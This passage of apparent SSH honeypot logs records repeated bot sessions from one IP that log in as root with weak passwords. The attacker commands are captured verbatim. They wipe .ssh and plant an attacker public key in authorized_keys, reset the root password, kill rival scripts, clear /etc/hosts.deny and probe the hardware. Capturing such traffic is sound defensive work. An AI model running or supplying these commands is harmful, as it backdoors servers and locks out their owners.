GNU/Linux"},{"seq":27,"at":"2026-08-26T13:21:46.406536+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:21:46.406822+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:21:47.037346+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:21:47.631094+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:21:48.264747+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:21:48.863384+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"pos","method":"password","accepted":true,"tier":"other"}]} {"id":"9341314a-c666-428a-ad30-b5e08049bc6c","name":"wry-tender-civet","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":50494,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1209,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:21:47.359998+00:00","ended_at":"2026-08-26T13:21:48.920783+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T13:21:05.297286+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:21:07.496380+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:21:18.598102+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:21:19.377202+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:21:20.317663+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qrYuyjrhTzOe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:21:21.199024+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:21:22.108710+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:21:22.574197+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:21:25.801425+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:21:26.690399+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:21:27.900266+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:21:28.837634+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:21:30.594672+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:21:31.010352+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:21:31.899716+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:21:32.225841+00:00","kind":"output","latency_ms":null,"data":" 13:21:32 up 6 days, 10:11, 0 user, load average: 0.21, 0.21, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:21:33.113503+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:21:33.479107+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:21:34.405087+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:21:34.702659+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:21:35.601029+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:21:36.456220+00:00","kind":"output","latency_ms":null,"data":"top - 13:21:36 up 6 days, 10:11, 0 user, load average: 0.21, 0.21, 0.24\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:21:37.896986+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:21:38.243510+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:21:40.804439+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:21:41.641619+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:21:43.323069+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:21:43.783267+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:21:44.998523+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:21:46.500366+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:21:47.360463+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:21:48.633559+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"kim","method":"password","accepted":true,"tier":"other"}]} {"id":"1261f400-7a1d-4efd-b2a7-d9feaf63e031","name":"autumn-cobalt-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":50286,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":951,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:18:24.164394+00:00","ended_at":"2026-08-26T13:18:26.224187+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T13:17:45.036698+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:17:45.929722+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:17:53.533562+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:17:54.368517+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:17:56.099002+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UXWUVavbZXm0\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:17:57.807074+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:17:58.899265+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:17:59.673379+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:18:00.601177+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:18:01.947353+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:18:04.698786+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:18:05.627621+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:18:06.697850+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:18:07.140145+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:18:08.019238+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:18:08.754112+00:00","kind":"output","latency_ms":null,"data":" 13:18:08 up 6 days, 10:08, 0 user, load average: 0.1, 0.11, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:18:10.694990+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:18:10.953598+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:18:11.906220+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:18:12.723234+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:18:15.196416+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:18:16.064335+00:00","kind":"output","latency_ms":null,"data":"top - 13:18:16 up 6 days, 10:08, 0 user, load average: 0.1, 0.11, 0.06\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:18:16.938483+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:18:17.737717+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:18:18.638535+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:18:18.895150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:18:19.811064+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:18:20.354634+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:18:21.255228+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:18:22.414827+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:18:24.165216+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:18:25.663232+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QAZwsx!@#123","method":"password","accepted":true,"tier":"other"}]} {"id":"00394236-bcb6-4a9b-af1f-1c221f8e2a22","name":"faded-muted-grebe","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":50090,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1167,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:15:06.296677+00:00","ended_at":"2026-08-26T13:15:08.206951+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T13:14:27.406114+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:14:28.338205+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:14:38.202798+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:14:39.076182+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:14:40.002697+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HpOm6lYPCvqf\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:14:40.919365+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:14:41.798958+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:14:42.217092+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:14:43.113051+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:14:44.474422+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:14:45.540559+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:14:46.854393+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:14:48.705059+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:14:49.107574+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:14:50.819841+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:14:51.459583+00:00","kind":"output","latency_ms":null,"data":" 13:14:51 up 6 days, 10:04, 0 user, load average: 0.14, 0.11, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:14:53.120210+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:14:53.651016+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:14:55.222717+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:14:55.963927+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:14:57.699730+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:14:58.292519+00:00","kind":"output","latency_ms":null,"data":"top - 13:14:58 up 6 days, 10:05, 0 user, load average: 0.14, 0.11, 0.12\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:15:00.011061+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:15:00.295621+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:15:01.202091+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:15:01.492586+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:15:02.400467+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:15:02.725751+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:15:03.626076+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:15:05.129620+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:15:06.297695+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:15:07.636097+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Zx123456","method":"password","accepted":true,"tier":"other"}]} {"id":"08b1ed45-b4fb-4c63-9613-aaea3cbca3b7","name":"murky-wandering-cassowary","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":49888,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1202,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:11:42.028828+00:00","ended_at":"2026-08-26T13:11:47.309219+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T13:11:10.099063+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:11:11.055764+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:11:21.000232+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:11:21.000934+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:11:22.203157+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZNiuR0h6GNNi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:11:22.804148+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-26T13:11:23.401275+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-26T13:11:24.323312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T13:11:24.323882+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T13:11:25.224079+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T13:11:25.712940+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T13:11:28.065098+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T13:11:28.656651+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T13:11:29.552643+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:11:29.554248+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T13:11:31.234765+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T13:11:31.235199+00:00","kind":"output","latency_ms":null,"data":" 13:11:31 up 6 days, 10:01, 0 user, load average: 0.23, 0.18, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T13:11:33.205453+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T13:11:33.206029+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T13:11:34.413083+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T13:11:34.415063+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T13:11:35.612082+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T13:11:35.614058+00:00","kind":"output","latency_ms":null,"data":"top - 13:11:35 up 6 days, 10:01, 0 user, load average: 0.23, 0.18, 0.16\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T13:11:36.804526+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T13:11:36.804936+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T13:11:38.017019+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T13:11:38.017483+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T13:11:39.211964+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T13:11:39.212560+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T13:11:40.128744+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T13:11:40.707579+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T13:11:42.029578+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T13:11:42.633625+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"letmein@123","method":"password","accepted":true,"tier":"other"}]} {"id":"c4001c4a-2129-414a-9db4-36677973a1a1","name":"drifting-cosmic-lark","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":49088,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":934,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:59:15.601396+00:00","ended_at":"2026-08-26T12:59:17.012599+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T12:58:37.432170+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:58:38.306726+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 